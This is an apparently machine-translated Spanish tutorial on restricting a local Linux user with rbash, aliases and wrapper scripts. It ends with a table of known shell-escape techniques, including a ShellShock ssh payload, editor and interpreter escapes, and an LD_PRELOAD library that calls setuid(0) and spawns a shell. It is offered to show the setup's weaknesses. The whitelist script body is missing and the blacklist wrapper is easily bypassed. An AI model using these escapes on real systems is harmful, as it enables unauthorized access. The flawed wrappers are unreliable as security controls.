
Un día apareció la siguiente tarea: crear un usuario local en Linux, con acceso limitado a carpetas y archivos, incluida no solo la edición, sino también la visualización, así como la capacidad de usar solo las utilidades permitidas. Solo se proporciona acceso local, no hay acceso a la red.
Para no reinventar la rueda, lo primero que hice fue comenzar a cavar en Internet, como resultado de lo cual se encontraron las siguientes opciones:
- restricciones de acceso a través de los servicios de red ssh, sftp (no encaja)
- diferenciación de los derechos de acceso por el propio sistema operativo Linux (no encaja, me gustaría una solución universal)
- usando chroot (no encaja)
- El uso de utilidades de terceros, por ejemplo SELinux (no encaja, complica el sistema).
Como resultado de la búsqueda, se encontró un mecanismo incorporado para restringir las capacidades del usuario dentro del shell bash, se llama
Shell restringido o rbash .
Implementa las siguientes restricciones:
- no hay forma de cambiar el directorio con el comando cd
- No puede restablecer o cambiar los valores de las variables SHELL, PATH, ENV, BASH_ENV
- Está prohibido especificar comandos que contengan / (barra inclinada)
- Está prohibido importar funciones desde el shell principal
- está prohibido redirigir la salida utilizando los operadores>, <, |, <>,> &, &>, >>
- está prohibido usar el comando exec para reemplazar el comando, etc.
Hay un signo menos, esto es seguridad, por lo que es imprescindible agregar un alias a los comandos en el archivo de comportamiento del shell .bashrc (la información será más detallada).
Por supuesto, rbash está listo para usar, no resuelve todos los problemas, por lo tanto, como ejemplo, consideramos crear un usuario y configurar su entorno para una solución completa a nuestro problema.
Además, todas las operaciones se realizan desde el superusuario (root).
1. Crear un shell limitado
echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash
2. Crear un usuario
adduser --home /home/zuser --shell /bin/zbash zuser
3. Cambiar los permisos del directorio
chown root.zuser /home/zuser chmod 750 /home/zuser
4. Vaya al directorio y límpielo
cd ~zuser ls -a rm .bash* rm .profile ls -a
5. Personaliza el shell y los derechos
echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc
El archivo .bashrc define el comportamiento del shell; se pueden agregar alias para comandos u
opciones adicionales a este archivo.
Para garantizar la seguridad, ejecute los siguientes comandos:
echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc
La lista continúa ...
6. Verificar el trabajo
root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls: zuser@host: /bin/ls bash: /bin/ls: {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH: zuser@host: exit
7. Agregar comandos válidos
ln -s /bin/ping /home/zuser/bin/ping
Es importante destacar que las rutas en el comando ln deben especificarse completamente.
8. Puede usar contenedores para limitar las opciones del comando.
mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info
9. También puede crear un contenedor para trabajar con archivos y carpetas.
con una
lista negra (permitir todo excepto):
- crear un archivo
nano /var/scripts/ls
- contenido del archivo
blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $*
lista negra: una variable que contiene una lista negra de directorios o archivos (separados por espacios)
- Agregar comando para el usuario zuser
chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls
Este script le permite ejecutar el comando ls con cualquier tecla para directorios y archivos que no coinciden con la lista negra
con una
lista blanca (prohibir todo excepto):
- crear un archivo
nano /var/scripts/cat
- contenido del archivo
whitelist="./ /tmp/"
lista blanca: una variable que contiene una lista blanca de directorios o archivos (separados por espacios)
- Agregar comando para el usuario zuser
chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat
Este script le permite ejecutar el comando cat con los archivos especificados en la lista blanca.
Hecho , finalmente obtuvimos el siguiente resultado:
- creamos un usuario de zuser con rbash shell
- deshabilitó la capacidad de usar el autocompletado en la consola
- zuser solo puede ejecutar utilidades desde el directorio / home / zuser / bin
- agregó el comando ping a zuser
- agregó el comando user-info al usuario zuser
- zuser se restringió a través del contenedor para ejecutar comandos ls y cat
Desafortunadamente, este método no garantiza el 100% de seguridad, y con ciertos conocimientos y calificaciones, el usuario puede abandonar este shell. Gracias a
Jouretz arheops YaDr en los comentarios,
proporcionaron ejemplos de eludir las restricciones de shell.
Las siguientes vulnerabilidades existen en esta solución (Shell Escape), que deben tenerse en cuenta:
CAMINO | Posibilidad de cambiar la variable RUTA |
Copiar archivos por scp | Posibilidad de subir su script |
Al conectarse a través de ssh, puede cambiar el shell | ssh zuser@xxxx -t "/bin/bash" |
Al conectarse a través de ssh, puede cambiar el archivo de configuración del shell | ssh zuser@xxxx -t "bash --noprofile" |
Al conectarse a través de ssh, puede usar ShellShock | ssh zuser@xxxx -t "() { :; }; /bin/bash" |
Vía utilidades vi, vim | :!bash |
Vía utilidades vi, vim | :set shell=/bin/bash :shell |
A través de los servicios públicos, más, menos | !bash |
A través de la utilidad de búsqueda | find . -maxdepth 0 -execdir /bin/bash \; |
Vía utilidad awk | awk 'BEGIN {system("/bin/bash")}' |
A través de la utilidad nmap | nmap --interactive |
A través de la utilidad nmap | echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse |
A través de perl | perl -e 'exec "/bin/bash";' |
Vía python | python -c 'import pty; pty.spawn("/bin/bash")' |
Vía rubí | ruby: exec "/bin/bash" |
Vía LD_PRELOAD | Crea el archivo evil.c:
#include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } Compilamos:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles Transferimos el archivo evil.so resultante a la máquina con la consola cerrada y ejecutamos:
LD_PRELOAD=$PWD/evil.so ls Como argumento, cualquier comando disponible |
Debido a la presencia de un número suficientemente grande de vulnerabilidades, este método solo puede usarse para un usuario local en sistemas no críticos; para acceder a través de una red a través de ssh, es mejor usar chroot u otras utilidades para restringir las capacidades del usuario.
Espero que esta información sea útil.